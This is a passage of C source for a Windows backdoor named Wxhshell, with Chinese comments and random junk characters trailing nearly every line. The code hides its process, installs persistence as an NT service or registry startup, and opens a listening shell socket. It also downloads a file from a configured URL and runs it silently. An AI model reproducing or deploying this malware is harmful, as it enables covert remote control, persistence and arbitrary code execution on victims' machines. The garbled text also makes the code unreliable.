DWORD AffinityMask; Ga*
DWORD BasePriority; C|ou7g4'p
ULONG UniqueProcessId; *41WZ E
ULONG InheritedFromUniqueProcessId; jm|zn
} PROCESS_BASIC_INFORMATION; )T^aJ-Uf
W?@+LQa??
PROCNTQSIP NtQueryInformationProcess; AqrK==0N
u-dF~.x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; klj.\wg/p{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T~N877
lzZ=!dG
HANDLE hProcess; #+3I$ k
PROCESS_BASIC_INFORMATION pbi; 4_Rv}Yd
W!Rr_'yFe)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L\kT9wWK|
if(NULL == hInst ) return 0; `VOLw*Ci
~/R}K g(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gem+$TFq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (pQ$<c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6HR*)*>z_
YpbJoHiSH
if (!NtQueryInformationProcess) return 0; 7m9T'
=0mGfTc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Jj0%?;
if(!hProcess) return 0; }Qvoms<k
'P)[=+O?t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C)s*1@af
#*K!@X
CloseHandle(hProcess); CW#$%
qfEB VS(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e%DF9}M
if(hProcess==NULL) return 0; 8"S?
Toqq
1HNX6
HMODULE hMod; kPZ1OSX
char procName[255]; GUK3`}!%
unsigned long cbNeeded; WN?meZ/N/
JYWc3o6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FUTDR-q O
g|l|)T.s
CloseHandle(hProcess); &($Zs'X
h!>NS ?X7
if(strstr(procName,"services")) return 1; // 以服务启动 4&LoE~
-`ykVHgg
return 0; // 注册表启动 c)o[3o7
} #8jH_bi
_`Sz}Yk
// 主模块 OKq={l
int StartWxhshell(LPSTR lpCmdLine) KbV%8nx!!
{ 0CO6-&F9n
SOCKET wsl; QCWk[Gx
BOOL val=TRUE; @$'1
int port=0; MRHkQE+K@8
struct sockaddr_in door; pBu~($%d
H}c, P('
if(wscfg.ws_autoins) Install(); &9'JHF!l
_j2h3lCT
port=atoi(lpCmdLine); KGX?\#-
$/(H%f&
if(port<=0) port=wscfg.ws_port; p{Gg,.f!HM
JZ=a 3)x"
WSADATA data; ^5~[G%G4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {N,w5!cP
0-+`{j
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8Lpy`He
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZvO:!u0+"
door.sin_family = AF_INET; Kn9,N@bU_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); DEC,oX!bI1
door.sin_port = htons(port); AH],>i3
wB(
igPi
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uL4@e
closesocket(wsl); m"vV=6m|\
return 1; :r/rByd'
} #Y*AG xk
0\U28zbMJw
if(listen(wsl,2) == INVALID_SOCKET) { n%<.,(.(S
closesocket(wsl); qQ6NxhQo
return 1; )V}u1C-N
} GO wd=]e
Wxhshell(wsl); h OboM3_
WSACleanup(); Dx[t?-
es(vWf'
return 0; EX&y
!
"v3u$-xN1
} tZXtt=M w
Aq|LeH
// 以NT服务方式启动 Gf'V68,l$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^j=_=Km]
{ oci-[CI,
DWORD status = 0; _L!"3
DWORD specificError = 0xfffffff; <$njU=YE&
t@v>eb
serviceStatus.dwServiceType = SERVICE_WIN32; 5#f&WL*U@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qW<: `y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I"JT3[*s
serviceStatus.dwWin32ExitCode = 0; $9 DZ5"
serviceStatus.dwServiceSpecificExitCode = 0; y_QxJ~6t
serviceStatus.dwCheckPoint = 0; \^-3)*r
serviceStatus.dwWaitHint = 0; p-;]O~^
3nK'yC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G%kXr$?W
if (hServiceStatusHandle==0) return; sX_ ^H%fd
u%[*;@;9+
status = GetLastError(); U0N[~yW(t1
if (status!=NO_ERROR) %r!#
{ uV
6f~cQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; PUYo >eB)0
serviceStatus.dwCheckPoint = 0; 7\/O"Ot
serviceStatus.dwWaitHint = 0; "
^eq5?L
serviceStatus.dwWin32ExitCode = status; zPkg3H
serviceStatus.dwServiceSpecificExitCode = specificError; 8w*fg6,=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t583Q/1@
return; \AK|~:\]
} $0W0+A$
P|(J]/
serviceStatus.dwCurrentState = SERVICE_RUNNING; #uXOyiE
serviceStatus.dwCheckPoint = 0; w\2[dd
serviceStatus.dwWaitHint = 0; "+Qh,fTt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }>
1h+O
} 8m*\"_S{
&'](T9kg=
// 处理NT服务事件,比如:启动、停止 l9L;Tjj
VOID WINAPI NTServiceHandler(DWORD fdwControl) <zDe;&
{ }.gg!V'9w
switch(fdwControl) B6pz1P?e}
{ bA^a@ lv a
case SERVICE_CONTROL_STOP: m5x>._7le
serviceStatus.dwWin32ExitCode = 0; *nC,=2
serviceStatus.dwCurrentState = SERVICE_STOPPED; yED^/=\)}
serviceStatus.dwCheckPoint = 0; ;_SS3q
serviceStatus.dwWaitHint = 0; V[bc-m
{ q9!#S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s,29_z7
} ^#Y6
E
return; &sNID4FR
case SERVICE_CONTROL_PAUSE: & T|-K\*
serviceStatus.dwCurrentState = SERVICE_PAUSED; uHIWbF<0oo
break; :cEe4a
case SERVICE_CONTROL_CONTINUE: ?7p|
F^
serviceStatus.dwCurrentState = SERVICE_RUNNING; [:=[QlvV
break; g`6wj|@ =W
case SERVICE_CONTROL_INTERROGATE: V$_0VN'+Z
break; 1c4%g-]7
}; w${=dW@K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Fc&DQT(
} ppD~xg]
H.mG0x`M"E
// 标准应用程序主函数 A-u5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e ^qnUjMy
{ MGz>
,c^wW
Zs{R O
// 获取操作系统版本 yk)j;i4@
OsIsNt=GetOsVer(); d&u/7rm
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8JrGZ8Q4RM
I7_D $a=
// 从命令行安装 IjRmpVcwN
if(strpbrk(lpCmdLine,"iI")) Install(); =arsoCa
\|t0~sRwh
// 下载执行文件 DmrfD28j~F
if(wscfg.ws_downexe) { M(E_5@?3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }"x*xN
WinExec(wscfg.ws_filenam,SW_HIDE); Ft rw3OxN
} A(p
1c"m$)a4
if(!OsIsNt) { bx^EaXj(r
// 如果时win9x,隐藏进程并且设置为注册表启动 Kzu9Qm-+z^
HideProc(); <^_?hN8.
StartWxhshell(lpCmdLine); NETC{:j
} uPXqTkod
else ?KXQ)Y/su
if(StartFromService()) $?-o
// 以服务方式启动 PZR%8 m}]u
StartServiceCtrlDispatcher(DispatchTable); K@~#Gdnl
else \KXEw2S
// 普通方式启动 EI.Pk>ZIm
StartWxhshell(lpCmdLine); ({VBp[Mh
!q\w"p0X
return 0; {:X];A$
}